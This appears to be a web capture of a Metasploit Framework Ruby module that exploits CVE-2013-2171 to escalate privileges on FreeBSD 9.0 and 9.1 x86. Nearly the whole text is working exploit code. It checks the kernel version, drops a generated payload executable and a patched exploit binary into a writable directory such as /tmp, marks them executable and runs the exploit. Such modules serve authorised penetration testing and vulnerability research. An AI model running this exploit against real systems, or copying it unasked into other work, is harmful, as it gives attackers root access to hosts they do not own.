Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/freebsd/local/mmap.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Local6Rank = GreatRanking78include Msf::Exploit::EXE9include Msf::Post::File10include Msf::Exploit::FileDropper1112def initialize(info={})13super( update_info( info, {14'Name' => 'FreeBSD 9 Address Space Manipulation Privilege Escalation',15'Description' => %q{16This module exploits a vulnerability that can be used to modify portions of17a process's address space, which may lead to privilege escalation. Systems18such as FreeBSD 9.0 and 9.1 are known to be vulnerable.19},20'License' => MSF_LICENSE,21'Author' =>22[23'Konstantin Belousov', # Discovery24'Alan Cox', # Discovery25'Hunger', # POC26'sinn3r' # Metasploit27],28'Platform' => [ 'bsd' ],29'Arch' => [ ARCH_X86 ],30'SessionTypes' => [ 'shell' ],31'References' =>32[33[ 'CVE', '2013-2171' ],34[ 'OSVDB', '94414' ],35[ 'EDB', '26368' ],36[ 'BID', '60615' ],37[ 'URL', 'http://www.freebsd.org/security/advisories/FreeBSD-SA-13:06.mmap.asc' ]38],39'Targets' =>40[41[ 'FreeBSD x86', {} ]42],43'DefaultTarget' => 0,44'DisclosureDate' => '2013-06-18',45}46))47register_options([48# It isn't OptPath becuase it's a *remote* path49OptString.new("WritableDir", [ true, "A directory where we can write files", "/tmp" ]),50])5152end5354def check55res = cmd_exec('uname -a')56return Exploit::CheckCode::Appears if res =~ /FreeBSD 9\.[01]/5758Exploit::CheckCode::Safe59end6061def upload_payload62fname = datastore['WritableDir']63fname = "#{fname}/" unless fname =~ %r'/$'64if fname.length > 3665fail_with(Failure::BadConfig, "WritableDir can't be longer than 33 characters")66end67fname = "#{fname}#{Rex::Text.rand_text_alpha(4)}"6869p = generate_payload_exe70write_file(fname, p)71return nil if not file_exist?(fname)72cmd_exec("chmod +x #{fname}")73fname74end7576def generate_exploit(payload_fname)77#78# Metasm does not support FreeBSD executable generation.79#80path = File.join(Msf::Config.data_directory, "exploits", "CVE-2013-2171.bin")81x = File.open(path, 'rb') { |f| f.read(f.stat.size) }82x.gsub(/MSFABCDEFGHIJKLMNOPQRSTUVWXYZ01234567890/, payload_fname.ljust(40, "\x00"))83end8485def upload_exploit(payload_fname)86fname = "/tmp/#{Rex::Text.rand_text_alpha(4)}"87bin = generate_exploit(payload_fname)88write_file(fname, bin)89return nil if not file_exist?(fname)90cmd_exec("chmod +x #{fname}")91fname92end9394def exploit95payload_fname = upload_payload96fail_with(Failure::NotFound, "Payload failed to upload") if payload_fname.nil?97print_status("Payload #{payload_fname} uploaded.")9899exploit_fname = upload_exploit(payload_fname)100fail_with(Failure::NotFound, "Exploit failed to upload") if exploit_fname.nil?101print_status("Exploit #{exploit_fname} uploaded.")102103register_files_for_cleanup(payload_fname, exploit_fname)104105print_status("Executing #{exploit_fname}")106cmd_exec(exploit_fname)107end108end109110111